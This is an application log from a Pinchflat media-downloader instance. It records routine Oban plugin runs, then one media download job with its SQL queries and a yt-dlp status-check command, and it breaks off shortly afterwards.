{"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.946 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:48:06.250 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:36.252 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.947 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:49:06.254 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:36.256 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.948 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:50:06.258 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:36.260 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.949 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:51:06.262 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:36.264 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.950 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:52:06.265 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:36.268 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.951 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:53:06.270 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:36.272 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.952 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:54:06.274 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:36.275 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.953 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:55:06.278 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:36.280 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.954 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:56:06.282 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:36.284 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.955 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:57:06.286 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:36.288 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.956 [info] {"source":"oban","duration":191,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:58:06.290 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:36.292 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.957 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:59:06.294 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:36.296 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.958 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:00:06.298 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:36.300 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.959 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:01:06.301 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:36.304 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.960 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:02:06.306 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:36.308 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.961 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:03:06.310 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:36.312 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.962 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:04:06.314 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:36.316 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.963 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:05:06.318 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:36.320 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.964 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:06:06.322 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:36.324 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:00.965 [info] {"source":"oban","duration":162,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:07:06.326 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:36.328 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.966 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:08:06.330 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:36.332 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.967 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:09:06.334 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:36.336 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.968 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:10:06.338 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:36.340 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.969 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:11:06.342 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:36.344 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:00.970 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:12:06.346 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:36.348 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.971 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:13:06.350 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:36.352 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.972 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:14:06.354 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:36.356 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:00.973 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:15:06.358 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:36.360 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:00.974 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:16:06.362 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:36.364 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.975 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:17:06.366 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:36.368 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.976 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:18:06.370 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:36.372 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.977 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:19:06.374 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:36.376 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.978 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:20:06.378 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:36.380 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.979 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:21:06.382 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:36.384 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:00.980 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:22:06.386 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:36.388 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.981 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:23:06.390 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:36.392 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.982 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:24:06.394 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:36.396 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.983 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:25:06.398 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:36.400 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.984 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:26:06.402 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:36.403 [info] {"source":"oban","duration":845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.985 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:27:06.405 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:36.408 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.986 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:28:06.410 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:36.412 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.987 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:29:06.414 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:36.416 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.988 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:30:06.418 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:36.420 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.989 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:31:06.422 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:36.424 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.990 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:32:06.426 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:36.428 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.991 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:33:06.430 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:36.432 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.992 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:34:06.434 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:36.436 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.993 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:35:06.438 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:36.440 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.994 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:36:06.442 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:36.444 [info] {"source":"oban","duration":1192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.995 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:37:06.446 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:36.448 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.996 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:38:06.450 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:36.452 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.997 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:39:06.455 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:36.457 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.998 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:40:06.459 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:36.461 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.999 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:41:06.463 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:36.465 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:01.000 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:42:06.467 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:36.469 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.001 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:43:06.471 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:36.472 [info] {"source":"oban","duration":874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.002 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:44:06.475 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:36.477 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.003 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:45:06.479 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:36.481 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.004 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:46:06.483 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:36.485 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.005 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:47:06.487 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:36.489 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.006 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:48:06.491 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:36.027 [info] {"args":{"id":102577},"id":2593,"meta":{},"system_time":1765777716026884895,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":19,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:48:36.027 [debug] QUERY OK source="media_items" db=0.3ms idle=344.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102577] 22:48:36.028 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:48:36.028 [debug] QUERY OK source="sources" db=0.4ms idle=345.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:48:36.029 [debug] QUERY OK source="media_profiles" db=0.2ms idle=345.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:48:36.030 [debug] QUERY OK source="media_items" db=0.5ms idle=9.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102577] 22:48:36.031 [debug] QUERY OK source="media_metadata" db=0.1ms idle=5.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [102577] 22:48:36.032 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:48:36.033 [debug] QUERY OK source="settings" db=0.2ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:36.033 [debug] QUERY OK source="settings" db=0.2ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:36.034 [debug] Running yt-dlp command for action: get_downloadable_status 22:48:36.036 [debug] QUERY OK source="settings" db=0.2ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:36.036 [debug] QUERY OK source="settings" db=0.2ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:36.037 [debug] QUERY OK source="settings" db=0.3ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:48:36.037 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=SSBMMeRs_b8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/02/47/02478665ec9e283eedac1d415527b23c71cb2cdceb69c2409587c1842f42d9e1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:48:36.493 [info] 